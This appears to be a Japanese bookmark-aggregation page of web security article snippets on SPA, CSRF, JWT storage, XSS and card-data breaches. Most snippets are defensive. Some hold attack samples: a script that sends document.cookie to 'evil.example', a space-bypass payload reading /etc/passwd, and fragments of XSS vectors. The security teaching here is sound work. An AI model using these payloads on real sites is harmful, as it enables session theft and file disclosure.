SPAセキュリティ超入門 | ドクセル
スライド概要 SPA(Single Page Application)の普及が一層進んでおり、従来型のMPAを知らないウェブ開発者も生まれつつあるようです。SPA対応のフレームワークでは基本的な脆弱性については対策機能が用意されていますが、それにも関わらず、脆弱性診断等で基本的な脆弱性が指摘されるケースはむしろ増えつつあります。 本セッションでは、LaravelとReactで開発したアプリケーションをモデルとして、SQLインジェクション、クロスサイトスクリプティング、認可制御不備等の脆弱性の実例を紹介しながら、現実的な対策について紹介します。LaravelやReact以外のフレームワーク利用者にも役立つ説明を心がけます。 PHPカンファレンス2022での講演資料です。 PHPカンファレンスでの動画URL https://www.youtube.com/watch?v=jZ6sWyGxcCs
Intro CSRF という古の攻撃がある。この攻撃を「古(いにしえ)」のものにすることができたプラットフォームの進化の背景を、「Cookie が SameSite Lax by Default になったからだ」という解説を見ることがある。 確かに、現実的にそれによって攻撃の成立は難しくなり、救われているサービスもある。しかし、それはプラットフォームが用意した対策の本質から言うと、解釈が少しずれていると言えるだろう。 今回は、「CSRF がどうして成立していたのか」を振り返ることで、本当にプラットフォームに足りていなかったものと、それを補っていった経緯、本当にすべき対策は何であるかを解説していく。 結果として見えてくるのは、今サービスを実装する上での「ベース」(not ベスト)となるプラクティスだと筆者は考えている。 CSRF 成立の条件 例えば、攻撃者が用意した attack.examp
タリーズの件、CSPが設置されていたら防げていたという話がありますが、それは正しいでしょうか？ CSPを設定していなかったとしても、想定していない外部へのリクエストが発生していないか、定期的にチェックすることも大事ですよね？ タリーズのサイトからのクレジットカード情報漏えいについて、CSP(Content Security Policy)やintegrity属性（サブリソース完全性）の重要性がよくわかったという意見をX(Twitter)上で目にしましたが、これらでの緩和は難しいと思います。 まず、CSPの方ですが、今回の件では元々読み込んでいたスクリプトが改ざんされたと考えられるので、オリジンとしては正規のものです。evalが使われていたのでCSPで制限されると考えている人が多いですが、evalは難読化のために使われているので、evalを使わないことは可能です。個人的には、難読化しない方が
Webセキュリティのあるきかた
2024/10/5 YAPC::Hakodate 2024
株式会社メタップスペイメントの運営する決済代行システムから約288万件のクレジットカード情報が漏洩した不正アクセス事件について、第三者委員会の報告書および経済産業省の行政処分（改善命令）があいついで公開されました。 第三者委員会調査報告書（公表版） クレジットカード番号等取扱業者に対する行政処分を行いました （METI/経済産業省） 本稿では、主に第三者委員会の調査報告書（以下「報告書」と表記）をベースとして、この事件の攻撃の様子を説明します。 システムの概要報告書にはシステム構成図やネットワーク構成図は記載されていないため、報告書の内容から推測によりシステムの構成を以下のように仮定しました。 図中のサーバー名は報告書の記載に従っています。以下、概要を説明します。 サーバ名概要 A社アプリ一般社団法人A 会員向け申込みフォーム 経産省改善命令では、「同社とコンビニ決済に係る契約を締結してい
WebアプリケーションでJWTをセッションに使う際の保存先は（自分なりに説明できれば）どちらでもよいと思います - 日々量産
以下のツイートを読んで気持ちが昂ったので。 みんな、もうSNSでいがみ合うのはやめよう。 平和に好きなJWTの話でもしようよ。 JWTの格納場所はlocalStorageとCookieのどっちが好き？— 徳丸 浩 (@ockeghem) 2022年2月11日 というのも、JWTをセッションに使うときに保存先含めて一時期悩んでいたので、その時の自分の解。 ただ、考えるたびに変化しているので、変わるのかもしれない。 要約 タイトル。 あとは優秀な方々が既に色々考えておられるのでそちらを読むとよいでしょう。 SPAセキュリティ入門～PHP Conference Japan 2021 JWT カテゴリーの記事一覧 - r-weblife どうしてリスクアセスメントせずに JWT をセッションに使っちゃうわけ？ - co3k.org JWT形式を採用したChatWorkのアクセストークンについて -
Developers Summit 2023 10-A-4 「フロントエンド開発のためのセキュリティ入門」の発表資料です。 https://event.shoeisha.jp/devsumi/20230209/session/4176/ 「HTTPS化」「CORS」「XSS」「脆弱なライブラリの…
サマリとある通販サイトにて「 メールアドレス・パスワードを保存する」機能がありますが、サイトにクロスサイトスクリプティング(XSS)脆弱性がサイトにあると生のパスワードが漏洩する実装となっています。本稿では、この実装方式を紹介し、なぜ駄目なのか、どうすべきなのかを紹介します。 記事の最後にはセミナーのお知らせを掲載しています。 はじめに家人がテレビを見ていて欲しい商品があるというので、あまり気は進まなかったのですが、その商品を検索で探して購入することにしました。「気が進まない」というのは、利用実績のないサイトはセキュリティが不安だからという理由ですが、この不安は的中してしまいました。 最初の「えっ?」はパスワード登録のところでして、パスワードを再入力する箇所で「確認のためもう一度、コピーせず直接入力してください」とあるのですよ。私は乱数で長く複雑なパスワードを入力しかけていたのですが、コピ
はじめに こんにちは。株式会社Flatt Securityのセキュリティエンジニアの冨士です。 本稿では、XSS(クロスサイトスクリプティング)が攻撃に用いられた時のリスクの大きさを紹介していきます。以降はクロスサイトスクリプティングをXSSと記載していきます。 XSSはセキュリティエンジニアならもちろん、開発を行っているエンジニアの多くの方が知っている脆弱性です。ですが、私はWebアプリケーションの脆弱性診断を行ってきた経験の中で多くのXSSを目にしてきましたし、依然として検出率の多い脆弱性の一つだと感じています。 その認知度や、一般的な対策方法のハードルの低さ(設計や仕様によっては対策工数が大きい場合もありますが)にも関わらずXSSの検出率が多いのは、直感的にリスクがわかりづらく、アラートをあげるだけの紹介が多いことが一つの要因ではないかと考えています。 すなわち、興味範囲が「どのよう
23新卒技術研修で実施したセキュリティ研修の講義資料です。 資料の利用について 公開している資料は勉強会や企業の研修などで自由にご利用頂いて大丈夫ですが、以下の形での利用だけご遠慮ください。 ・受講者から参加費や授業料などを集める形での利用（会場費や飲食費など…
CSRF 対策はいまだに Token が必須なのか?
Update: ブログにまとめた。 令和時代の API 実装のベースプラクティスと CSRF 対策 | blog.jxck.io CSRF 対策は One Time Token を form なりに付与して、サーバ側でチェックすれば良い。 それをデフォルトでサポートしてるフレームワークなどもあるし、なくてもライブラリでいくらでも対応できる。 どうせ完全にステートレスなサービスはなかなかないので、サーバ側に redis や memcache を用意するのも別に大変じゃない。 なので、 CSRF 対策として Token を付与するのは、最も安全で推奨できる方式ではある。 っていうのを踏まえた上で、もう SameSite=Lax デフォルトだけど、今でも Token 必須なの？みたいなのがたびたび話に出るので、いい加減まとめる。 前提 この話は、スコープがどこなのかによって話が多少変わるので、そ
サマリ ISO-2022-JPという文字エンコーディングの自動判定を悪用したクロスサイト・スクリプティング(XSS)攻撃について説明する。これは、文字エンコーディングを適切に指定していないウェブコンテンツに対して、文字エンコーディングをISO-2022-JPと誤認させることでバックスラッシュが円記号と解釈されることによりエスケープ処理を回避する攻撃である。本稿で紹介する攻撃は、従来からのセキュリティベストプラクティスである「文字エンコーディングの明示」に従っていれば影響を受けることはない。 はじめに クロスサイト・スクリプティング対策として、記号文字のエスケープ処理に加えて、コンテンツの文字エンコーディングをレスポンスヘッダやmetaタグで明示しましょうと言われてきました（参照）。その背景として、UTF-7という文字エンコーディングを悪用したXSSの存在がありました。この攻撃については以下
【セキュリティチームブログリレー2回目】 こんにちは。エンジニアリンググループの山本です。 セキュリティチームは、エンジニアリンググループ全体のセキュリティを向上させるためのバーチャルチームなのですが、各プロダクト開発チームのサービスをチェックして、協力しながら全体のセキュリティを向上させていくのがミッションです。 そのお仕事の一環として「この部分、セキュリティヘッダが足りないから入れてください！」というやりとりを日常的に行なっています。 今日はこの「セキュリティヘッダ」というものが一体何なのか、今さら人に聞けないアレコレを取りまとめてみたいと思います。 セキュリティヘッダ警察の日常の図(もちろん冗談です) セキュリティヘッダ そもそもセキュリティヘッダとは？ 比較的安全なセキュリティヘッダ X-Content-Type-Options X-XSS-Protection Strict-Tr
メリークリスマス！ 週末もPHPを楽しんでますか？ ところでWebセキュリティはWebアプリケーションを公開する上で基礎中の基礎ですよね！ メジャーな脆弱性を作り込まないことはWeb開発においては専門技術ではなく、プロとしての基本です。 中でもXSS (Cross-Site Scriptingクロスサイトスクリプティング)やインジェクションについての考慮は常に絶対に欠いてはならないものです。 現実にはプログラミングには自動車のような運転免許制度がないため、自動車学校に通わず独学で公道に出ることができてしまいます。つまりは基礎知識がないままにWebプログラマとして就職したり、フリーランスとして案件を請けることも現実には罷り通っています。それは一時停止標識も赤信号も知らずにタクシー営業しているようなものです。 このような事情により、体系的な理解のないWeb開発初心者は (時にはn年のキャリアを
S3のメタデータを用いた攻撃
例えば、Content-Typeメタデータの値を細工したオブジェクトを取得させることでXSSを発生させたり、Content-Dispositionメタデータを細工してRFD (Reflected File Download) を引き起こしたり、 x-amz-storage-classメタデータを操作して意図せぬストレージクラスを使用させEDoS (Economical Deninal of Sustainability)を発生させたり、といった攻撃が成立する可能性があります。 中でもContent-Typeを悪用したXSSは、S3の仕様や使用方法だけでなく、ブラウザの挙動にも注意を払う必要があり、アプリ開発者は攻撃の原理と対処を理解しておく必要があります。 9/21にAzaraさんとSecurity-JAWSのコラボで、この問題にフォーカスしたCTFイベント「とある海豹とSecurity-
ある時Twitterのタイムラインを見ていたら、「JavaScriptをWasm化して動かす意味がわからない」というような意見を見かけました。JavaScriptはブラウザに搭載されているV8のようなJavaScriptエンジンによって高速に動作するので、わざわざWasm化してもパフォーマンスは劣化するのになぜなのか?という話なんですが、これは「Wasm化=パフォーマンスのため」という考えだと意義がわからないのでこの記事ではそれについて解説します。 JavaScriptをWasm化して動かすツールやライブラリとしては、Shopifyが開発しているJavyやquickjs-emscriptenなどがあります。JavaScriptをWasm化して動かすためには、ある特定のJavaScriptエンジンをWasm向けにビルドして動かす必要がありますが、そのような用途ではQuickJSというJava
SPAのアプリケーションで、外部のIdPを使ってOpenID Connect によるログイン機能を開発しようと考えています。IDトークンの保存先として、ブラウザのCookieかサーバーのDBに保存するかの2つの案があると思っています。調べた限り、サーバーサイドで持つべきという意見が多いように見えますが、以下のような背景がある中で開発しても、ブラウザのCookieでは持つべきなのではないのでしょうか？ - IDトークン自体にも、個人の属性（氏名等）情報は無いことを確認している - サーバーサイドでIDトークンの署名検証をして、IDトークンの改ざんが無いか確認する - Http Only属性：JSによるCookieへのアクセスを防ぐため - Secure属性：流出防止のため - SameSite=strict：CSRF対策のため 結論から言えば、「どちらでもよい」となります。しかし、恐らく話は
問題1: 他ユーザーの認証情報にアクセスできてしまう 投稿されたコードを普通にサイト内に埋め込むとXSSがやり放題な状態になります。 認証CookieのHttpOnlyが無効になっている場合 ユーザーがたくさん集まる超面白いゲームを作り、その中に以下のようなコードをしれっと含めると、そのゲームを開いたユーザーのアカウントの乗っ取りが可能になります。 <script> // 1. Cookieを取得 const stolen = document.cookie; // 2. 攻撃者のサーバーに送信 const img = new Image(); img.src = "https://evil.example/steal?cookie=" + encodeURIComponent(stolen); </script> CookieのHttpOnly属性が無効になっていると、スクリプトからCo
【PoC編】XSSへの耐性においてブラウザのメモリ空間方式はLocal Storage方式より安全か？ - GMO Flatt Security Blog
はじめに こんにちは。 セキュリティエンジニアの@okazu-dm です。 この記事は、Auth0のアクセストークンの保存方法について解説した前回の記事の補足となる記事です。前回の記事の要旨をざっくりまとめると以下のようなものでした。 Auth0はデフォルトではアクセストークンをブラウザのメモリ空間上にのみ保存するin-memory方式であり、XSSへの耐性のなさ等の理由でlocalStorageで保存することを推奨していない しかし、XSSでアクセストークンを奪取できるのはin-memory方式でも同じのはず(検証は行いませんでした)。localStorage方式を過度に忌避する必要はないのではないか なお、Flatt Securityの提供するセキュリティ診断はAuth0に限らずFirebase AuthenticationやAmazon CognitoなどのIDaaSのセキュアな利用
Auth0のアクセストークンをLocal Storageに保存するのは安全？メリット・デメリットをin-memory方式と比較して検討する - GMO Flatt Security Blog
※追記: 本記事の続編としてin-memory方式からアクセストークンを奪取するPoCを下記記事で公開しました。ぜひあわせてご覧ください。 はじめに こんにちは。 セキュリティエンジニアの@okazu-dm です。 この記事では、Auth0のSPA SDKでアクセストークンのキャッシュを有効化する際の考慮ポイントについて紹介し、それを切り口にアクセストークンの保存場所に関してin-memory方式とlocalStorage方式の2つについて解説します。 Auth0のようなIDaaSは昨今かなり普及が進んでいると思いますが、Flatt Securityの提供するセキュリティ診断はAuth0に限らずFirebase AuthenticationやAmazon CognitoなどのIDaaSのセキュアな利用まで観点に含めて専門家がチェックすることが可能です。 ご興味のある方は是非IDaaS利用部
国内の主要なSaaS企業やSIerに脆弱性診断サービスなどを提供しているFlatt Security社は、Webエンジニアがセキュアコーディングを独習できるオンライン教材「KENRO」のトライアルとしてコンテンツの一部を無料で公開中です。 メールアドレスを登録するだけで利用を開始でき、期間も無制限。 KENROでは「SQLインジェクション」「XSS（クロスサイトスクリプティング）」「ディレクトリトラバーサル」などを始めとする10種類の一般的な脆弱性についてテキストで学び、その学びを基に攻撃者として脆弱性に対する攻撃を「ハッキング演習」で試し、その脆弱性があるコードを自分で修正する「堅牢化演習」まで、オンラインで実践できるユニークな教材です。 演習の結果もKENROが自動判定してくれるため、24時間365日、いつでも学習できます。 無料トライアルでは、一般的な10種類の脆弱性の学習コンテンツ
React と Vue.js におけるエスケープ機構と XSS について、簡単なハンズオンを交えて説明していきます。無料で読めますが、お気に召されたらご購入いただけると嬉しいです。
Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12
Shibuya.XSS techtalk #12 の発表資料です。 English version is here: https://speakerdeck.com/masatokinugawa/pwn2own2022
Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article?
S3経由でXSS!?不可思議なContent-Typeの値を利用する攻撃手法の新観点 - GMO Flatt Security Blog
はじめに セキュリティエンジニアの齋藤ことazaraです。今回は、不可思議なContent-Typeの値と、クラウド時代でのセキュリティリスクについてお話しします。 本ブログは、2024 年 3 月 30 日に開催された BSides Tokyo で登壇した際の発表について、まとめたものです。 また、ブログ資料化にあたり、Content-Type の動作や仕様にフォーカスした形で再編を行い、登壇時に口頭で補足した内容の追記、必要に応じた補足を行なっています。 また、本ブログで解説をする BSides Tokyoでの発表のもう一つの題である、オブジェクトストレージについては、以下のブログから確認をすることが可能ですので、ご覧ください。 blog.flatt.tech なぜ今、この問題を取り上げるのか？ 従来のファイルアップロードにおいて、Content-Type の値を任意の値に設定すること
安全なウェブサイトの作り方を読んだので、理解した内容を自分なりにまとめておきます。資料 上記は3章構成になっていてそれぞれ長めの内容なので、ここでは3章の『失敗例』について、Ruby on Rails ではどうするかについてをまとめます。 SQL インジェクション OS コマンドインジェクション パス名パラメータの未チェック例（ディレクトリトラバーサル） 不適切なセッション管理例（セッション ID の推測） クロスサイト・スクリプティングの例（エスケープ処理） CSRFの例 HTTP ヘッダ・インジェクションの例 メールヘッダ・インジェクションの例 参考 SQL インジェクション 参考資料内の SQL インジェクション例を見て、Ruby on Rails ではどのように対策できるかを確認しました。 例えば、下記ような $uid, $pass をユーザ入力とし、SQL 文を動的に生成する場合
SPA開発とセキュリティ - DOM based XSSを引き起こすインジェクションのVue, React, Angularにおける解説と対策 - GMO Flatt Security Blog
Vue.js logo: ©︎ Evan You (CC BY-NC-SA 4.0 with extra conditions(It’s OK to use logo in technical articles for educational purposes)) / React logo: ©︎ Meta Platforms, Inc. (CC BY 4.0) / Angular logo: ©︎ Google (CC BY 4.0) はじめに こんにちは。株式会社Flatt Securityセキュリティエンジニアの森(@ei01241)です。 最近のJavaScriptフレームワークの進化は著しく、VueやReactやAngularは様々なWebサービスに採用されています。そのため、多くのWebサービスがSPAを実装するようになりました。JavaScriptフレームワークは便利な一方で
PHPのstringは任意のバイト列を扱えますが、JavaScript/JSONはUnicodeで扱える文字しか扱えません PHPのint / floatはプラットフォーム依存ですが、JavaScriptのnumberは整数と小数を型レベルで区別しません JSONのarrayに対応する型はPHPのarrayのうちリストであるものです PHPは配列(リスト)と連想配列を型レベルで区別せず、どちらもarrayです リストはキーが0からの抜けがない連番になっている要素が0個以上の配列です array_is_list()関数で連想配列とリストを判別できます array_values()で連想配列をリストに変換できます array_filter()の結果はフィルタされたキーがスキップされるのでリストではありませんが、結果をarray_values()に通すことでリストにできます JsonSerial
はじめに Webアプリケーションで広く利用されるJWTなどの認証トークンですが、その保管場所はセキュリティを大きく左右します。この記事では、localStorageを利用する際のリスクを解説し、HttpOnly属性付きクッキーとCSRFトークンを組み合わせた、堅牢なセキュリティ対策のロジックを技術的に解説します。 1. なぜlocalStorageは危険なのか (XSSの脅威) localStorageへのトークン保存は実装が容易なため広く使われますが、XSS（クロスサイト・スクリプティング）攻撃に対して脆弱です。 XSS攻撃の概要: 攻撃者がウェブサイトの脆弱性を利用して、悪意のあるJavaScriptコードを他のユーザーのブラウザ上で実行させる攻撃手法です。入力フォームやコメント欄などが主な注入経路となります。 localStorageのリスク: localStorageに保存されたデ
脆弱性を探す話 2023 - Qiita
最近年2回のサイボウズ以外はほぼバグバウンティしていない現状であるが、やる気が起きたときようにメモ 主にWebアプリに関すること 診断と自分で勝手に脆弱性を探す行為との違い 網羅性は全く必要ない 診断は網羅してないと怒られることがあるが好きな脆弱性だけ探せる。 期間が永遠 診断期間は自由なので後で気づいて頭を抱えることはない 攻撃に到るまでを説明する必要がある 「バージョンが古いのでダメです」だけでは許してもらえない 変なことすると逮捕される可能性がある 無闇にツール回すと不正アクセス禁止法に引っかかるので だがしかし海外勢は法律の違いもあるのか好きなサイトに気軽にツールを回すので太刀打ちできない 日本人としては許可されたところかローカルに環境作って攻撃するのが心理的安全性が高い 2023年度の傾向 コモディティ化が進む 自分だけしか知らないような脆弱性はない まだ知られていない手法もほぼ
Still X.S.S. - なぜいまだにXSSは生まれてしまうのか？ - GMO Flatt Security Blog
XSSこわい 若頭: おいお前ら、なにかおもしろい遊びをしねえか。こんなにみんなで集まる機会もそうねえだろう エンジニア佐藤: そうですねえ、こんなのはどうでしょうか。人間誰しも怖いものが1つはありますから、それをみんなで教えあってみましょうよ 若頭: そりゃあおもしれえな。そうだなあ、おれはヘビが怖いね。ありゃ気味が悪くてしょうがねえ エンジニア山田: 自分はカエルを見ると縮み上がってしまいます、テカテカしていてどうにも苦手で。佐藤さんは何が怖いんですか エンジニア佐藤: 私は、XSSがこわいです エンジニア八島: あはは！何言ってんですか佐藤さん。XSSなんてこわいことないですよ エンジニア佐藤: ひいい、名前を聞くのも怖いです エンジニア山田: XSSなんて、フレームワークさえ使っていればきょうび起こらないですからねえ。佐藤さんは臆病だなあ その晩、エンジニア佐藤を目の敵にしている町
「”＞＜SCRIPT SRC=HTTPS：//MJT.XSS.HT＞ LTD」という名前の企業が強制的に社名を変更させられた事例
社名にHTMLスクリプトタグを採用したソフトウェア開発企業が、企業登記所から「データベースの脆弱(ぜいじゃく)性につながる」として社名変更を強制されたという事例が、ソーシャルニュースサイトのHacker Newsで話題となっています。 Company forced to change name that could be used to hack websites | UK news | The Guardian https://www.theguardian.com/uk-news/2020/nov/06/companies-house-forces-business-name-change-to-prevent-security-risk UK govt aims to kill off Bobby Tables in Companies House name rules https:
Hello there, ('ω')ノ これまで、実例をもとに学んだ脆弱性診断につかえる実践的なテクニックは以下のとおりで。 ・サブドメインの1つに403を返すエンドポイントがある場合は、通常のバイパスは機能しないので、Refererヘッダを変更すると200 OKが取得できる場合があります。 ・エンドポイントのディレクトリとリクエストボディを削除して、メソッドを「PUT」から「GET」に変更すると隠されたエンドポイントに関する情報を取得できる場合があります。 ・見つけたエンドポイントに通常アカウントで403エラーが発生した際、管理者アカウントのjsonリクエストの本文と比較して差分のパラメータを追加するとアクセスできる場合があります。 ・Linux環境でコマンドを実行する際、スペース文字をバイパスするためのペイロードは以下のとおりです。 cat</etc/passwd {cat,/etc/
スライド概要 シングルページアプリケーション(SPA)において、セッションIDやトークンの格納場所はCookieあるいはlocalStorageのいずれが良いのかなど、セキュリティ上の課題がネット上で議論されていますが、残念ながら間違った前提に基づくものが多いようです。このトークでは、SPAのセキュリティを構成する基礎技術を説明した後、著名なフレームワークな状況とエンジニアの技術理解の現状を踏まえ、SPAセキュリティの現実的な方法について説明します。 動画はこちら https://www.youtube.com/watch?v=pc57hw6haXk
攻撃者は、はじめに標的のECサイトの注文フォームに対し、不正なスクリプトを含んだ文字列を入力し、購入処理を行います（図1の①）。その結果、ECサイトの購入処理の部分にXSSの脆弱性が存在する場合、ECサイトの管理画面を閲覧した管理者は不正なスクリプトが実行され、クレデンシャル情報の窃取や、ECサイトへの簡素WebShellの設置などが行われます（図1の②～④）。その後、攻撃者によってECサイトにWebShellやユーザーの情報窃取を行うJavaScriptなどが設置されます。設置された“情報窃取JavaScript”によってECサイトを利用するユーザーのクレジットカード情報等を窃取され、“情報保存ファイル”としてECサイト内に保存されます（図1の⑤）。攻撃者は定期的なWebShellへのアクセスを行うことでこれらの情報を窃取していたと推測されます（図1の⑥）。 なお、攻撃者は、一連の攻撃の
XSSの脅威を考察する - セキュアスカイプラス
はじめに こんにちは！CTOのはせがわです。 先日公開された、Flatt Securityさんのブログ「開発者が知っておきたい「XSSの発生原理以外」の話」、おもしろいですね。このXSSの記事に限らず、Flatt Securityさんのブログは役に立つ記事が多い*1ので、個人的には記事が公開されるのを毎回楽しみにしています！*2 たしかに、XSSの脅威についてはなかなか理解してもらうことが難しく、また一般的にはSQLインジェクション等と比べても脅威が低く見られることも多いため、XSSの脅威について少し掘り下げて考察したいと思います。 なお、この記事は「XSSの発生原因くらいは知ってるよ」という人を対象にしています。「XSSって何だっけ」という方は クロスサイトスクリプティング対策 ホンキのキホン (1/3)：CodeZine（コードジン） などの記事を参照してください。 技術的な面からの解
ある日，HTML5のLocal Storageを使ってはいけない がバズっていた． この記事でテーマになっていることの１つに「Local StorageにJWTを保存してはいけない」というものがある． しかし，いろいろ考えた結果「そうでもないんじゃないか」という仮定に至ったのでここに残しておく． 先の記事では，「Local StorageにJWTを保存してはいけない」の根拠として「XSSが発生した時，攻撃者がLocal Storageに保存したJWTを盗むことが出来てしまう」といったセキュリティ上の懸念事項が挙げられていた． これに対し，クッキーを用いたセッションベースの認証では，セッションIDをクッキーに保存する．クッキーにHttpOnlyフラグをつけておけば，JavaScriptからはアクセスできず，XSSが発生しても攻撃者はセッションIDを読み取ることが出来ない． 一見すると，これは
New XSS vectors
Published: 20 April 2022 at 14:00 UTC Updated: 20 April 2022 at 14:07 UTC Transition based events without style blocksSo, recently, I was updating our XSS cheat sheet to fix certain vectors that had been made obsolete by browser updates. Whilst looking at the vectors, the transition events stuck in my head. They needed a style block as well as the event: <style>:target {color:red;}</style> <xss id
JF全漁連の通販サイト「JFおさかなマルシェ ギョギョいち 本店」が不正アクセスを受け、クレジットカード情報やセキュリティコードなどが1万件以上が流出した可能性がある問題で、JF全漁連は10月3日、休止中の同サイトを7日に閉鎖すると発表した。 5月に警視庁からサイト改ざんの恐れについて連絡を受けてサイトを休止し、調査や対応を行っていた。扱っていた商品は、「JFおさかなマルシェ ギョギョいち JAタウン店」で引き続き購入できる。 JF全漁連の8月の発表によると、サイトを構築サービスのクロスサイトスクリプティング（XSS）脆弱性を突いた第三者による不正アクセスにより、不正ファイルが設置され、ペイメントアプリケーションが改ざんされたことが原因で、ユーザー情報が流出した可能性がある。 流出の可能性があるのは、会員登録したユーザー2万1728件の氏名、性別、生年月日、メールアドレス、郵便番号、住所、
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
令和時代の API 実装のベースプラクティスと CSRF 対策 | blog.jxck.io
タリーズの件、CSPが設置されていたら防げていたという話がありますが、それは正しいでしょうか？ CSPを設定していなかったとしても、想定していない外部へのリクエストが発生していないか、定期的にチェックすることも大事ですよね？ | mond
メタップスペイメント不正アクセス事件の第三者報告書から攻撃の模様を読み解く
フロントエンド開発のためのセキュリティ入門
とある通販サイトに学ぶ自動ログイン機能のバッドプラクティス
開発者が知っておきたい「XSSの発生原理以外」の話 - GMO Flatt Security Blog
セキュリティ研修【MIXI 23新卒技術研修】
ISO-2022-JPの自動判定によるクロスサイト・スクリプティング(XSS)
セキュリティヘッダ警察です！既に包囲されている！観念してヘッダを挿入しなさい！ - エムスリーテックブログ
なぜ出力時のHTMLエスケープを省略してはならないのか - Qiita
WasmでJavaScriptを動かす意義 - id:anatooのブログ
SPAのアプリケーションで、外部のIdPを使ってOpenID Connect によるログイン機能を開発しようと考えています。IDトークンの保存先として、ブラウザのCookieかサーバーのDBに保存するかの2つの案があると思っています。調べた限り、サーバーサイドで持つべきという意見が多いように見えますが、以下のような背景がある中で開発しても、ブラウザのCookieでは持つべきなのではないのでしょうか？ - IDトークン自体にも、個人の属性（氏名等）情報は無いことを確認している - サーバーサイドでIDトーク
ユーザー投稿のコードをブラウザ上で他人が動かせるサービスを作るときのセキュリティについて
Webエンジニアがセキュアコーディングを独習できるオンライン教材「KENRO」の一部を無料公開中［PR］
React と Vue に関する XSS アンチパターン
JavaScript / TypeScript の豆知識 10 選 - Qiita
安全なウェブサイトの作り方~失敗例~ - goruchan’s blog
PHPからJavaScriptにデータを受け渡すときに考えること - Qiita
【フロントエンド向け】JWTの安全な保管場所とCSRF・XSS対策の技術解説
脆弱性診断につかえる実践的なテクニックを列挙してみた - shikata ga nai
SPAセキュリティ入門～PHP Conference Japan 2021 | ドクセル
ECサイトのクロスサイトスクリプティング脆弱性を悪用した攻撃 - JPCERT/CC Eyes
おーい磯野ー，Local StorageにJWT保存しようぜ！
カード情報1.2万件流出か、全漁連の通販サイト閉鎖 XSS脆弱性からペイメントアプリ改ざん
React における XSS｜React と Vue に関する XSS アンチパターン
helentech.jp
www.sankei.com
note.com/rays_yamamoto
www.smartnews.com
qiita.com/sho-gun
hollywoodreporter.jp